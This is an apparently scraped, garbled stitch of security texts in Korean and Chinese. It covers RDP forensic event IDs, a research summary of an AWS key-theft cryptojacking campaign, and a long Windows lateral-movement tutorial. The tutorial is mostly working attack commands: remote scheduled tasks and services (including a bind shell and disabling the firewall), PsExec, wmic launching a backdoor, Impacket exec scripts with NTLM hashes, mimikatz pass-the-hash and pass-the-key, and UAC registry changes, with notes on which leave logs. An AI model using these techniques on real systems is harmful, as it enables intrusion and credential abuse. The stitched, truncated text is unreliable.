84%E7%94%B5%E8%84%91%E3%80%82%20%E8%AE%AE%A1%E7%AE%97%E6%9C%BA%5CHKEY_CURRENT_USER%5CSOFTWARE%5CMICROSOFT%5CTerminal%20Server% 20Client%5cdefault%201%203%20%E5%8f%B3%E9%94%AE%E7%82%B9%E5%87%BB%E9%9c%80%e8%A6%81%e7%AE%A1%E7%90%86%e7%9A%84%ae%B0%e5 %BD%95%E9%A1%B9%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9% E6%88%96%E8%80%85%E5%88%A0%E9%99%A4%E6%AD%A4%E9%A1%B9%E3%80%82 https://blog.csdn.net/travelnight/article/details/122854895 이벤트 ID : 1149 : RDP를 사용하여 소스 IP가 로컬 컴퓨터에 성공적으로 로그인 한 레코드. 등록 :hkey_current_user \ Software \ Microsoft \ 터미널 서버 클라이언트 \ 서버 \ 이 경로는 현재 호스트가 로그인 한 서버를 기록합니다. 이벤트 ID : 5156 로그 : 기계가 다른 서버의 포트 3389에 액세스했는지 확인할 수 있습니다. 4624 —— 계정은 성공적으로 로그인했습니다 4625 —— 계정을 로그인 할 수 없습니다 1149 —— 사용자 인증이 성공했습니다 원래 링크 주소에서 재 인쇄 : https://forum.butian.net/share/3657

相關研究人員最近發現了一個異常活躍的攻擊活動，研究人員稱之為EleKtra-Leak，它會自動竊取GitHub公共存儲庫中洩漏的身份和訪問管理(IAM)密鑰。因此，與該活動相關的攻擊者能夠創建多個AWS彈性計算(EC2)實例，用於廣泛和持久的加密劫持。 分析發現，攻擊者能夠在五分鐘內識別並使用GitHub上首次洩漏的IAM密鑰，這一發現證明了攻擊者是如何利用云自動化技術來實現擴展加密劫持的目標。攻擊者似乎使用自動化工具不斷複製公共GitHub存儲庫，並掃描洩漏的亞馬遜網絡服務(AWS) IAM密鑰。 分析過程調查過程中，研究發現，攻擊者可能會識別頻繁出現的AWS賬戶id，以阻止這些賬戶id免受未來的攻擊或自動化腳本的攻擊。因此，研究人員設計了一種新穎的調查架構來動態創建和洩漏不可歸因的AWS密鑰。 多年來，攻擊者越來越多地使用GitHub作為攻擊的初始載體。 GitHub的一個強大功能是它能夠列出所有公共存儲庫，這使得開發人員和攻擊者能夠實時跟踪新的存儲庫。 考慮到這個功能，研究人員選擇GitHub作為其竊取AWS密鑰的實驗平台，將明文洩露的密鑰寫入新創建的GitHub存儲庫中的文件中，該存儲庫是研究人員隨機選擇並從公共GitHub存儲庫列表中復制的。研究人員將AWS密鑰洩露到復制存儲庫中隨機創建的文件中，然後在成功提交後將其刪除。 一旦將竊取的密鑰提交到存儲庫，研究人員就會立即刪除了它們。最初，IAM密鑰使用Base64編碼。然而，儘管像trufflehog這樣的工具可以找到洩漏的Base64 IAM密鑰，但事實上沒有攻擊者能找到密鑰。 研究人員認為，攻擊者目前沒有使用能夠解碼base64編碼密鑰的工具，其中一個原因可能是因為這些工具有時會產生噪音並產生許多誤報。 研究人員隨後進行了以明文形式洩露AWS密鑰的實驗，攻擊者發現這些都是明文寫的，隱藏在過去提交的一個隨機文件中，並添加到復制的repo中。 GitHub掃描當研究人員在GitHub中洩漏AWS密鑰時，GitHub的秘密掃描功能發現了它們，然後GitHub以編程方式通知AWS洩漏的秘鑰。這導致AWS自動將隔離策略應用於與密鑰關聯的用戶，稱為AWSCompromisedKeyQuarantine。 最初，研究人員保留了AWS awspromisedkeyquarantine策略，在攻擊者測試洩漏的密鑰時被動地監控研究人員的偵察。研究人員有意將AWS隔離策略替換為原始的IAM策略，以進一步了解整個活動。 需要注意的是，應用AWS隔離策略不是因為攻擊者發起了攻擊，而是因為AWS在GitHub中發現了密鑰。研究人員認為，攻擊者可能能夠找到AWS未自動檢測到的已洩漏的AWS密鑰，並隨後在AWSCompromisedKeyQuarantine策略之外控制這些密鑰。 在研究人員使用洩露密鑰進行的實驗中，攻擊者在AWS應用隔離策略後四分鐘內開始。下圖顯示了這些活動的時間軸。 攻擊者的活動時間軸 上圖最後一行顯示，從CloudTrail事件AttachUserPolicy開始，AWS在時間13：30：22時應用隔離策略。僅僅四分鐘後，在13：34：15，攻擊者開始使用AWS API descripregions進行偵察。 CloudTrail是一個審計工具，它記錄在配置的雲資源中發生的和事件。 攻擊結構下圖顯示了整個自動化攻擊結構。 GitHub公共存儲庫被實時掃描，一旦找到密鑰，攻擊者的自動化就會開始。 Operation CloudKeys架構 下圖顯示，攻擊者首先執行AWS帳戶偵察。 AWS帳戶偵察 在偵察之後，攻擊者創建AWS安全組，然後在任何可訪問的AWS區域上最終啟動每個區域的多個EC2實例。 修改安全組並啟動第一個EC2實例 研究人員收集的數據表明，攻擊者的自動化是在VPN環境中進行的。根據CloudTrail的日誌記錄，研究人員在多個地區重複了相同的操作，總共產生了400多個API調用，加起來只用了7分鐘。這表明攻擊者成功地隱藏了自己的身份，同時對AWS賬戶環境發起了自動攻擊。 啟動實例和配置一旦發現AWS密鑰，自動化的一部分將包括在不同地區運行實例的攻擊者。下圖顯示了有關實例類型及其跨多個區域分佈的統計信息。 攻擊者使用大格式雲虛擬機執行操作，特別是c5a.24xlarge AWS實例。加密挖礦操作通常使用大格式雲實例，因為它們將提高處理能力，使加密劫持者能夠在更短的時間內挖掘更多加密貨幣。 跨區域實例化的AWS EC2實例類型 CloudTrail日誌中沒有記錄用戶數據。為了捕獲數據，研究人員對EC2卷執行了取證分析。 如下圖所示，挖礦自動化在挖礦軟件啟動EC2配置過程中自動顯示用戶數據。 挖礦軟件的配置腳本 下圖顯示了存儲在Google Drive中的有效負載。 Google Driveurl在設計上是匿名的，無法將此URL映射到谷歌Cloud用戶帳戶。下載的有效負載被加密存儲，然後在下載時解密，如第6行所示。 有效負載是一個已知的挖掘工具，哈希值可以與之前的研究相關聯，研究人員認為相同的攻擊者使用公開洩漏的Docker服務來執行加密劫持。他們還確定了提交給VirusTotal的報告，這些報告具有相同的哈希，並使用相同的持久化命名約定(“appworker”)，如下圖所示。 共享相同元數據的已知加密挖掘二進製文件 攻擊者使用的AMI（Amazon Machine Image類型也很獨特，它是用於創建虛擬服務器(即AWS 環境中的EC2 實例)的主映像。被識別的映像是私有的，它們沒有在AWS市場上列出。下圖顯示了使用以下AMI實例的id。 私有AMI映像id列表 其中一些圖片是Ubuntu 18版本。研究人員認為，所有這些攻擊指標(ioc)都表明，這是一個至少可以追溯到2020年的長期挖礦活動。 挖礦活動跟踪如上所述，EC2實例通過EC2用戶數據接收它們的挖掘配置。該配置包含每個挖礦軟件用於傳播其開采的門羅幣的門羅幣錢包地址。 根據其架構，研究人員可以推測錢包地址是獨立用於AWS挖礦的。如果是這種情況，連接到池的每個工件都代表一個單獨的Amazon EC2實例。 攻擊者用於此操作的挖掘池是SupportXMR挖掘池。礦池用於加密挖礦，作為多個挖礦軟件共同工作的工作空間，以增加成功挖礦的機會。 考慮到SupportXMR服務只提供某時間段的統計數據，研究人員對錢包進行了數週的監控並提取了挖掘統計數據。下圖顯示了獨立挖礦軟件的數量。 XMR挖礦軟件數量統計 在2023年8月30日至2023年10月6日期間，總共出現了474個獨立挖礦軟件，研究人員可以將其解釋為在此期間記錄的474個獨立的Amazon EC2實例執行挖礦。由於攻擊者挖的是門羅幣(Monero)，這是一種包含隱私控制的加密貨幣，因此研究人員無法跟踪錢包來獲得攻擊者獲得挖礦貨幣的確切數字。 研究人員將繼續監控這一挖礦活動。這與Unit 42觀察到的攻擊者使用可信業務應用程序逃避檢測的發現一致。 架構分析為了開展研究，Prisma雲安全研究團隊創建了一個名為HoneyCloud的工具，這是一個完全可攻擊和可複制的雲環境，包含以下功能： 跟踪惡意操作； 跟踪雲攻擊者的行動； 發現新的雲攻擊路徑； 構建更好的雲防禦解決方案。 研究人員使用IaC模板為Terraform創建了一個半隨機的AWS基礎設施。 Terraform是一個IaC配置工具，用於管理和維護雲基礎設施，這個工具允許研究人員使用定時調度和人工分析來創建和破壞基礎設施。 由於研究人員之前的AWS賬戶ID被添加到攻擊者的黑名單中，他們進行了一個Terraform設計。該設計在生成的AWS賬戶中引入了一定數量的隨機性，其新創建的基礎設施幫助研究人員避免了攻擊者匹配或識別以前IAM密鑰洩漏的操作。 研究人員還設計了Terraform自動化，根據攻擊者在AWS賬戶中執行的活動，使用不同類型的IAM策略，該策略或多或少會限制IAM權限。 在本次調查中，研究人員遇到的最大障礙便是AWS在應用隔離策略，以防止惡意方面的反應速度速度。 AWS在GitHub上洩露AWS密鑰後兩分鐘內實施了隔離政策。 AWS隔離策略本可以成功阻止此攻擊。然而，在分析了挖礦活動之後，研究人員發現了更多的挖礦實例，這可能是因為密鑰以不同的方式或在不同的平台上被洩漏。 為了方便研究，研究人員被迫重寫隔離策略，以確保研究人員能夠跟踪攻擊者的操作。為了執行此操作，研究人員創建了一個單獨的監控工具，以恢復我們計劃破壞的原始過度寬鬆的AWS安全策略。 自動生成AWS雲下圖顯示了用於公開AWS IAM憑據並隨後監控針對它們採取操作的總IaC架構。 使用AWS複製和監控GitHub存儲庫 所設計架構的IaC模板負責隨機選擇GitHub存儲庫，複製和洩漏AWS IAM密鑰作為過去提交的隨機文件。在AWS方面，使用相同的AWS管理組織和集中式CloudTrail日誌存儲，為IaC模板執行的每次迭代動態創建新的AWS帳戶。 研究人員還在AWS管理帳戶中開發並部署了一個額外的lambda函數，該函數作為監控器收集基礎設施更改並跟踪IAM用戶策略更改。 IaC模板的主要目標之一是保持AWS基礎設施組件盡可能隨機，以避免被攻擊者發現並阻止。另一個目標是允許定期和精確地摧毀基礎設施，以便快速和系統地開始新的環境和變量。通過這種方式，攻擊者只能將AWS IAM密鑰視為全新AWS環境的一部分，而不是研究環境的一部分。 總結分析發現，攻擊者掃描了公共GitHub存儲庫中洩漏的AWS IAM秘鑰。研究人員發現，AWS IAM密鑰在公共GitHub存儲庫中洩漏僅五分鐘後便可以檢測並啟動全面的挖礦。 該活動至少從2020年就開始了，儘管AWS隔離政策取得了成功，但該活動在受害帳戶的數量和頻率上仍然持續波動，研究人員認為關注洩漏的GitHub秘鑰或亞馬遜EC2實例目標僅僅是攻擊目標之一。 為了方便分析，研究人員開發了一個半自動化的IaC Terraform架構來跟踪該攻擊活動，其中就包括動態創建旨在被破壞和銷毀的AWS賬戶。 緩解策略1.使用AWS隔離策略； 2.使用Amazon Lightsail，在洩漏的IAM密鑰提交到GitHub存儲庫的幾分鐘內，AWS啟動了此隔離。這一隔離策略必須正確使用，以確保潛在的攻擊者不會利用敏感的雲數據、服務和資源。 無意中洩漏AWS IAM秘鑰的組織應立即撤銷使用該秘鑰建立的任何API連接，還應從其GitHub存儲庫中刪除AWS IAM秘鑰，並生成新的AWS IAM秘鑰以實現所需功能。

在正常情况中，横向移动是在已经获取了足够的权限的情况下进行横向移动，下面中的方法大部分也需要高权限的操作。 https://www.freebuf.com/articles/network/251364.html 内网横向移动分为三种情况： 1.在VPN环境中进行横向移动； 2.在socks代理环境中进行横向移动； 3.在远程木马的环境中进行横向移动； 文件传输-前期准备在进行横向移动的过程中，我们首先应该考虑的是文件传输方案，对之后向攻击目标部署攻击载荷或其他文件提供便利。 网络共享在windows系统中，网络共享功能可以实现局域网之间的文件共享。提供有效的用户凭据，就可以将文件从一台机器传输到另一台机器。 获取到windows中系统默认开启的网络共享。 net share 在实战中，往往会使用IPC$连接，而IPC$连接需要两个要求。 1.远程主机开启了IPC连接； 2.远程主机的139端口和445端口开放； net use \\10.10.10.10\IPC$ "admin!@#456" /user:"administrator" 此时，如果你具备足够权限的凭据，即可使用dir或者copy命令查看目标主机的信息。 安全性考虑：这些指令是在本地执行，远程的命令，因此不会在远程连接的主机留下日志信息，因此是比较安全。 搭建SMB服务器https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E9%80%9A%E8%BF%87%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%BC%80%E5%90%AFWindows%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%8C%BF%E5%90%8D%E8%AE%BF%E9%97%AE%E5%85%B1%E4%BA%AB SMB（server message block，服务器消息块），又称CIFS（网络文件共享系统），基于应用层网络传输协议，一般使用NetBIOS协议或者TCP发送，使用139或445端口。 创建一个双方都可以访问的SMB服务器，在内网渗透中，让受害主机远程加载木马等操作控制目标主机。 CIFS协议和SMB协议的区别**关于对CIFS权限的想法：**就是当我们拿下了一台机器，然后这台机器存在约束委派或者白银票据这些漏洞的话，通过操作获得到了域控的cifs权限，那就可以使用impacket工具包里面的工具类似psexec.py、smbexec.py之类的脚本，然后使用-no-pass -k参数通过读取到本地的票据直接连接上域控获取到权限。 但是impacket工具包在使用-no-pass -k参数的时候检测的是.ccache票据，在windows上使用的是.kirbi结尾的票据，因此无法成功。在linux上可以成功。 如果能够获取到域控的cifs权限，修改一下impacket工具，或者通过编写其他工具，通过CIFS权限就可以直接拿下域控。 计划任务使用VPN和socks方式执行方式相同。 一般来说，需要获取到管理员的凭据才可以进行计划任务的执行。 通过搭建SMB服务器或者建立共享连接，使目标机器下载运行脚本，然后建立计划任务来执行脚本加载木马等。 当目标系统版本<window2012时，使用at： net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator # 建立ipc连接 copy add.bat \192.168.3.21\c$ #拷贝执行文件到目标机器 at \\192.168.3.21 15:47 c:\add.bat #添加计划任务 当目标系统版本>=windows2012时，使用schtasks： net use \\192.168.3.32\ipc$ "admin!@#45" /user:god.org\administrator # 建立ipc连接 copy add.bat \\192.168.3.32\c$ #复制文件到其C盘 schtasks /create /s 192.168.3.32 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat /F #创建adduser任务对应执行文件 /s：指定要链接的系统；/ru：指定计划任务运行的用户权限；/tn：指定创建的计划任务的名称； /sc：指定计划任务执行的频率；/tr：指定计划任务运行的程序路径；/F：如果指定任务存在，则强制创建； /mo：指定计划任务执行周期； schtasks /query /s 10.10.10.10 /TN c #查看计划任务c状态 schtasks /run /s 192.168.3.32 /tn adduser /i #运行adduser任务 schtasks /delete /s 192.168.3.21 /tn adduser /f#删除adduser任务 注意计划任务执行的程序是在后台执行，没有回显。 在日志方面，只要进行了远程连接操作，使用IP的话就是NTLM认证数据包，使用域名或者机器名就是Kerberos认证数据包。 计划任务的添加、删除、执行等操作也都是在目标主机中有所体现。 Microsoft-Windows-TaskScheduler/Operational：这个事件日志记录了计划任务的操作、创建、修改和删除等活动。你可以在Windows事件查看器（Event Viewer）中找到这个日志。路径为：Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Operational。Microsoft-Windows-TaskScheduler/Maintenance：这个事件日志用于记录计划任务的执行情况，包括任务的开始、完成和错误信息等。同样，在Windows事件查看器中，你可以找到这个日志。路径为：Event Viewer -> Applications and Services Logs -> Microsoft -> Windows -> TaskScheduler -> Maintenance。安全性考虑：计划任务虽然是在远程执行，但是会在目标主机建立一个计划任务进程，并且该进程也会在目标主机执行文件，这些行为都会在目标主机留下日志记录，因此较为危险。 系统服务使用VPN和socks方式执行方式相同。 还可以通过在远程主机上创建系统服务的方式，在远程主机上运行指定的程序或者命令。 这样的方式需要两端主机的管理员权限。 sc \\[主机名/IP] create [servicename] binpath= "[path]" #创建计划任务启动程序 sc \\10.10.10.10 create bindshell binpath= "c:\bind.exe" 注意这里的格式，“=”后面是必须空一格的，否则会出现错误。 启动服务 sc \\10.10.10.10 start bindshell 删除服务 sc \\[host] delete [servicename] #删除服务 我们还可以通过设置服务来关闭防火墙： sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\WIN-ENS2VR5TR3N start unablefirewall 在日志方面，只要进行了远程连接操作，使用IP的话就是NTLM认证数据包，使用域名或者机器名就是Kerberos认证数据包。 系统服务方面的日志也会留下痕迹。 安全性考虑：使用创建系统服务的方式，会在远程主机上创建服务，会在目标主机留下日志记录，因此较为危险。 PSEXEC使用VPN和socks方式执行方式相同。 psTools psexec是通过SMB连接到服务端的Admin$共享，并释放名为“psexesvc.exe”的二进制文件，然后注册名为“PSEXEC”服务，当命令执行时会通过该服务启动相应的程序执行命令并回显。运行结束后PSEXESVC服务会被删除。 因此，运行psexec需要的条件： 1.目标主机开启Admin$共享； 2.开启139或者445端口，以运行SMB； 3.需要目标主机的权限，创建服务； PsExec.exe -accepteula \\192.168.52.138 -u god\liukaifeng01 -p Liufupeng123 -i -s cmd.exe -accepteula：第一次运行psexec会弹出确认框，使用该参数就不会弹出确认框 -u：用户名 -p：密码 -s：以system权限运行运程进程，获得一个system权限的交互式shell。如果不使用该参数，会获得一个连接所用用户权限的shell impacket包 Psexec.py允许你在远程Windows系统上执行进程，复制文件，并返回处理输出结果。此外，它还允许你直接使用完整的交互式控制台执行远程shell命令（不需要安装任何客户端软件）。 python psexec.py [[domain/] username [: password] @] [Target IP Address] python psexec.py VVVV1/admins:User\!@#45@10.10.10.10 # 通过哈希密码连接获得目标域用户交互式shell python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 python文件和exe文件的命令相同。 使用psexec时，不仅会在域控产生登录日志，还会在目标机器中产生日志信息。 事件ID：7045 使用官方的PSEXEC TOOLS 使用impacket包中的PSEXEC工具进行连接时，发现会自动修改生成的服务名称（对服务有一定的隐藏作用） 安全性分析：psexec在执行时不仅会上传一个文件，还会创建一个服务，这些都是会被目标主机进行日志记录的，因此比较危险。 WMI使用VPN和socks方式执行方式相同。 WMI的全名为（Windows Management Instrumentation，Windows管理规范），用户可以通过WMI管理本地和远程的计算机。WMI使用的协议是DCOM（分布式组件对象模型）和WinRM（Windows远程管理）。 运行WMI需要的条件： 1.远程主机的WMI服务为开启状态； 2.双方主机打开并放行135端口； 在windows上可以使用wmic.exe和PowerShell Cmdlet来使用WMI数据和执行WMI方法。 wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 // wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 查询远程进程信息 wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief wmic命令执行没有回显，因此要将结果写入到txt中 wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt" wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt" wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe" // /node：指定将对其进行操作的服务器 在日志方面，只要进行了远程连接操作，使用IP的话就是NTLM认证数据包，使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话，wmic远程执行命令在正常情况是不会产生日志，只有打开命令行审核功能，在使用wmic命令执行任何操作时，相关的事件将被记录在Windows事件日志中。 DCOM利用使用VPN和socks方式执行方式相同。 https://www.freebuf.com/articles/web/293280.html WinRM利用使用VPN和socks方式执行方式相同。 http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_4124.html WinRM是通过执行WS-management协议来实现远程管理的，允许处于同一个网络内的Windows计算机彼此之间相互访问和交换信息，对应的端口是5985。 在windows-2008以上版本的服务器中，WinRM服务才会自动启动，在使用WinRM服务进行横向移动时，需要拥有远程主机的管理员凭据。 安装WinRM服务 1、查看是否开启winrm winrm e winrm/config/listener 如果报错说明没有开启 2、开启服务 要在管理员模式下，使用CMD。因为Powershell会无法执行 winrm quickconfig 会有两个问题，都输入“y”即可 3、winrm service设置auth winrm set winrm/config/service/auth "@{Basic="true"}" 4、为winrm service 配置加密方式为允许非加密(这个不配置，远程连接会出错) winrm set winrm/config/service "@{AllowUnencrypted="true"}" 5、查看winrm配置 winrm get winrm/config 配置TrustedHosts winrm set winrm/config/client @{TrustedHosts="10.10.10.10"} #信任主机10.10.10.10 Set-Item WSMan:localhost\client\trustedhosts -value * #powershell 信任所有主机 命令执行 winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "whoami" winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "cmd" 在日志方面，只要进行了远程连接操作，使用IP的话就是NTLM认证数据包，使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话，winRM远程执行命令在正常情况是不会产生日志。 linux进行横向渗透一般在linux中进行横向渗透，使用Impacket 工具包进行渗透，其中为python脚本。 wmiexec.py使用VPN和socks方式执行方式相同。 它会生成一个使用Windows Management Instrumentation的半交互式shell，并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理，因此它非常的隐蔽。 python wmiexec.py [[domain/] username [: password] @] [Target IP Address] python wmiexec.py VVVV1/admins:User\!@#45@10.10.10.10 (注意：密码中如果有！，需要将！进行转义) python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 在域控主机会留下登录的日志，但是在socks隧道的客户端主机不会留下登录的日志。 psexec.py使用VPN和socks方式执行方式相同。 Psexec.py允许你在远程Windows系统上执行进程，复制文件，并返回处理输出结果。此外，它还允许你直接使用完整的交互式控制台执行远程shell命令（不需要安装任何客户端软件）。 python psexec.py [[domain/] username [: password] @] [Target IP Address] python psexec.py VVVV1/admins:User\!@#45@10.10.10.10 # 通过哈希密码连接获得目标域用户交互式shell python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 使用psexec时，不仅会在域控产生登录日志，还会在目标机器中产生日志信息。 事件ID：7045 使用官方的PSEXEC TOOLS 使用impacket包中的PSEXEC工具进行连接时，发现会自动修改生成的服务名称（对服务有一定的隐藏作用） smbexec.py使用VPN和socks方式执行方式相同。 # 通过明文密码连接获得目标本地用户交互式shell python smbexec.py .VVVV1/admins:User!@#45@10.10.10.10 通过哈希密码连接获得目标域用户交互式shellpython smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 连接域控的话，会在域控上产生登录日志，不会在搭建socks隧道的客户端产生日志。 并且，执行smbexec会上传一个bat文件，并且开启一个服务BTOBTO来执行命令并且将bat文件删除，达到清理痕迹的作用。运行服务的日志也会记录在主机的日志中。 atexec.py使用VPN和socks方式执行方式相同。 通过Task Scheduler服务在目标系统上执行命令，并返回输出结果。 python atexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami" python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" 使用atexe.py脚本会自动生成计划任务，因此在日志中也会有体现。 dcomexec.py使用VPN和socks方式执行方式相同。 前提条件：135端口、445端口 135端口用于连接DCOM，445端口负责获取命令执行结果。 dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象。 python dcomexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami" python dcomexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami" 在域控会有登录的日志体现。 Windows进行横向渗透使用Impacket 工具包的exe版本，执行命令的语法与上面相同。 执行脚本所留下的日志痕迹也与上文中的类似。 哈希传递攻击mimikatz使用VPN和socks方式执行方式相同。 man1:0ec4b410903c6dc7594464f27d347497 admins: 0ec4b410903c6dc7594464f27d347497 administrator:ad5a870327c02f83cb947af6a94a4c23 ad-2016$: 99ac70cee2d4370638397a39c71db91d 使用mimikatz进行hash传递攻击，将域管理员账户的hash注入到lsass进程中。 privilege::debug sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497 sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497 sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23 sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d sekurlsa::pth /user:EXCHANGE-2016$ /domain:vvvv1.com /ntlm:a377e26f4118ba88ce1af6a4f8ac9daf 但是在socks代理的情况下,将hash注入到域外的主机中，无法解析dns，也无法知道域控的位置，只能通过指定ip的方式来进行操作。 使用dir等的操作时也会在域控中有日志体现。 sharpkatzSharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash ad5a870327c02f83cb947af6a94a4c23 在域控主机也会有登录日志体现。 密钥传递攻击https://www.freebuf.com/column/220740.html https://www.vuln.cn/6813 对于安装补丁KB2871997之后的机器，经过测试，本地管理员组中，只有administrator账户可以进行NTML-HASH传递，其他的账户包括非administrator的本地管理员都无法使用NTLM-HASH传递。 当然非administrator的本地管理员PassThe Hash失败的原因其实是由于远程访问和UAC的限制。 在版本windows servers 2012 R2之后，系统默认安装该补丁。Windows Server 2012 R2 的版本号为 6.3。因此，如果您的操作系统版本号大于 6.3，则可以判断它大于 Windows Server 2012 R2。 远程访问和UACUser Account Control and remote restrictions - Windows Server 根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到，UAC为了更好的保护Administrators组的帐户，会在网络上进行限制。 在使用本地用户进行远程登录时不会使用完全管理员权限（fulladministrator），但是在域用户被加入到本地管理员组之后，域用户可以使用完全管理员（fulladministrator）的AccessToken运行，并且UAC不会生效。 这样就解释了为什么在打上补丁之后，本地管理员除了administrator可以进行连接之外，其他管理员无法进行连接(如果一个域内普通账户，加入了本地管理员组的话也是可以进行连接的)。 当我们使用本地管理员Administrator账户进行NTLM-HASH传递的时候，可以直接传递成功。 sekurlsa::pth /user:administrator /domain:WEB-2012 /ntlm:b025cd380141ba05de422efcef9bab2f 但是使用本地管理员组中的admin账户进行NTLM-HASH传递的时候，无法成功。 sekurlsa::pth /user:admin /domain:WEB-2012 /ntlm:0ec4b410903c6dc7594464f27d347497 由此可见在上面的实验中administrator能够成功PTH，而本地管理员用户admin无法成功，是因为以admin的身份发起的请求被UAC拒绝。 Administrator用户成功的原因同样是因为UAC中的一项配置:FilterAdministratorToken。 Administrator账户启用UAC限制修改组策略选择 计算机配置->Windows设置->安全设置->本地策略->安全选项 发现当我们安装补丁后，下图选项默认开启。 我们直接选择启用该选项即可。 发现administrator账户已经无法使用NTLM-HASH传递了。 FilterAdministratorTokenhttps://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835564(v=ws.10) 在UAC组策略设置和注册表项设置的官方文档中可以看到相关的描述，关于UAC的注册表中一个注册表键值为FilterAdministratorToken，且在Windows Server 2008默认为Disable。 官方文档中我们可以看出，中国内置管理员账户就是Administrator账户。 之所以Administrator用户成功传递HASH的原因就与这一项注册表有关，默认情况下FilterAdministratorToken的值为0(distabled)，UAC不会对administrator账户进行限制。 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 如果想要关闭Administrator远程访问，直接将FilterAdministratorToken启用即可，修改成1。 修改后立即生效，administrator账户也无法远程访问。 关闭UAC限制修改组策略选择 计算机配置->Windows设置->安全设置->本地策略->安全选项 发现当我们安装补丁后，下图选项默认开启。 我们直接选择禁用该选项即可。 重启后发现admin账户可以传递HASH。 LocalAccountTokenFilterPolicyhttps://learn.microsoft.com/en-US/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction 在官方文档中提到可以通过修改注册表中LocalAccountTokenFilterPolicy选项的键值来进行更改禁用UAC。 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 如果LocalAccountTokenFilterPolicy注册表项不存在可以直接新建一条，并将值设置为1，LocalAccountTokenFilterPolicy的值默认为0（开启远程限制），为1时将关闭远程限制 两种方法总结： 组策略优先级>注册表 1.当组策略关闭UAC限制后，注册表LocalAccountTokenFilterPolicy设置0或1，都关闭UAC限制； 2.当组策略开启UAC限制后，注册表LocalAccountTokenFilterPolicy设置成0是开启UAC限制，设置成1是关闭UAC限制； KB2871997与PTK攻击具体的KB2871997补丁内容更新可以查看下面的链接了解。 https://www.freebuf.com/column/220740.html 这里我们主要回归到KB2871997补丁对我们使用密钥传递攻击带来的影响。 KB2871997补丁其中一项：支持“ProtectedUsers”组 “ProtectedUsers”组是WindowsServer 2012 R2域中的安全组，“ProtectedUsers”组的成员会被强制使用Kerberos身份验证，并且对Kerberos强制执行AES加密。 https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash “受保护的用户”组支持（强制Kerberos身份验证以实施AES加密） 1.当“域功能级别”设置为Windows Server 2012 R2时，将创建“受保护的用户”组。 2.受保护的用户组中的帐户只能使用Kerberos协议进行身份验证，拒绝NTLM，摘要式身份验证和CredSSP。 3.Kerberos拒绝DES和RC4加密类型进行预身份验证-必须将域配置为支持AES或更高版本。 4.不能使用Kerberos约束或不受约束的委托来委托受保护用户的帐户。 5.受保护的用户可以使用“身份验证策略”很好地工作。 由上文中我们可以了解到，在更新补丁KB2871997后，支持AES加密的凭据进行传递，且走的协议为kerberos协议。 sekurlsa::ekeys sekurlsa::pth /user:administrator /domain:vvvv1.com /aes256:23a6b51c13d6630cc8a3eb8f4e6966f15e51aeb8ceec190fb280607e413ebd9d 经过测试，windows10无法使用PTK密钥传递 另外，因为是走的kerberos协议，那么只能通过域名进行连接，无法使用ip进行连接。 在windows中的socks代理的环境下，也无法使用PTK，因为proxifier代理软件无法远程解析DNS，就无法使用kerberos认证，就无法使用PTK传递。 写到这里，我们发现PTK密钥传递攻击实际上是比较鸡肋的一个功能，基于kerberos认证，但是如果获取到的是本地管理员的权限，但是导出本地的hash信息中不会存在AES加密的kerberos凭据，因为kerberos认证只在域内进行使用，本地不会使用kerberos认证，那么就不会存在aes加密的kerberos凭据。只能获取域内账户的凭据才能通过AES加密的凭据进行PTK。但是从上文可以知道，实际上域内账户并不会被该补丁限制，那就不需要使用AES传递，而是直接使用NTLM-HASH进行传递攻击即可。 